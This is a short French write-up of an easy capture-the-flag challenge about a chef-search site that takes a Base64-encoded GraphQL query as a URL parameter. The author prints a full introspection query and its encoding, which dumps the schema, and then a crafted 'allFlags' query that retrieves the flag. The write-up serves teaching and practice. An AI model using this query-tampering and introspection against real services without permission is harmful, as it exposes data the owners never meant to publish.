- Auteur: haxom
- Difficulté : ⭐ épreuves faciles
Nous avons développé une plateforme de recherche de cuisiniers. Venez la tester !
Lorsque l'on soumet le formulaire "Search one chef by firstname", le paramètre search
avec sa valeur encodé en Base64
est envoyé dans une requête GET
.
GET /index.php?search=eyBhbGxDb29rcyAoZmlsdGVyOiB7IGZpcnN0bmFtZToge2xpa2U6ICIlYSUifX0pIHsgbm9kZXMgeyBmaXJzdG5hbWUsIGxhc3RuYW1lLCBzcGVjaWFsaXR5LCBwcmljZSB9fX0=
Voici ce qu'on obtiens après avoir décodé la valeur de search
.
{ allCooks (filter: { firstname: {like: "%a%"}})
{
nodes { firstname, lastname, speciality, price }
}
}
Il s'agit de la requête GraphQl qui permet de récupérer la liste des chefs.
Je teste une Introspection en envoyant la requête GraphQL ci-dessous (encodée en Base64
) comme valeur du parametre Search
.
{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}
// Base64 encode
e19fc2NoZW1he3F1ZXJ5VHlwZXtuYW1lfW11dGF0aW9uVHlwZXtuYW1lfXN1YnNjcmlwdGlvblR5cGV7bmFtZX10eXBlc3suLi5GdWxsVHlwZX1kaXJlY3RpdmVze25hbWUgZGVzY3JpcHRpb24gbG9jYXRpb25zIGFyZ3N7Li4uSW5wdXRWYWx1ZX19fX1mcmFnbWVudCBGdWxsVHlwZSBvbiBfX1R5cGV7a2luZCBuYW1lIGRlc2NyaXB0aW9uIGZpZWxkcyhpbmNsdWRlRGVwcmVjYXRlZDp0cnVlKXtuYW1lIGRlc2NyaXB0aW9uIGFyZ3N7Li4uSW5wdXRWYWx1ZX10eXBley4uLlR5cGVSZWZ9aXNEZXByZWNhdGVkIGRlcHJlY2F0aW9uUmVhc29ufWlucHV0RmllbGRzey4uLklucHV0VmFsdWV9aW50ZXJmYWNlc3suLi5UeXBlUmVmfWVudW1WYWx1ZXMoaW5jbHVkZURlcHJlY2F0ZWQ6dHJ1ZSl7bmFtZSBkZXNjcmlwdGlvbiBpc0RlcHJlY2F0ZWQgZGVwcmVjYXRpb25SZWFzb259cG9zc2libGVUeXBlc3suLi5UeXBlUmVmfX1mcmFnbWVudCBJbnB1dFZhbHVlIG9uIF9fSW5wdXRWYWx1ZXtuYW1lIGRlc2NyaXB0aW9uIHR5cGV7Li4uVHlwZVJlZn1kZWZhdWx0VmFsdWV9ZnJhZ21lbnQgVHlwZVJlZiBvbiBfX1R5cGV7a2luZCBuYW1lIG9mVHlwZXtraW5kIG5hbWUgb2ZUeXBle2tpbmQgbmFtZSBvZlR5cGV7a2luZCBuYW1lIG9mVHlwZXtraW5kIG5hbWUgb2ZUeXBle2tpbmQgbmFtZSBvZlR5cGV7a2luZCBuYW1lIG9mVHlwZXtraW5kIG5hbWV9fX19fX19fQo=
// GET /search=e19fc2NoZW1he3[...]V9fX19fX19fQo=
Cela nous retourne l'intégralité du schéma GraphQL. J'utilise l'outil GraphQl Voyager pour avoir une représentation graphique du schéma.
Dans Query
(Liste des requêtes GraphQl définies), on peut voir la requete allFlags qui retourne l'objet Flag. Je prepare ma requete GraphQL, j'encode en base64 et j'envoie.
{ allFlags { nodes { id, flag } } }
# Base64: eyBhbGxGbGFncyB7IG5vZGVzIHsgaWQsIGZsYWcgfSB9IH0=
# GET /?search=eyBhbGxGbGFncyB7IG5vZGVzIHsgaWQsIGZsYWcgfSB9IH0=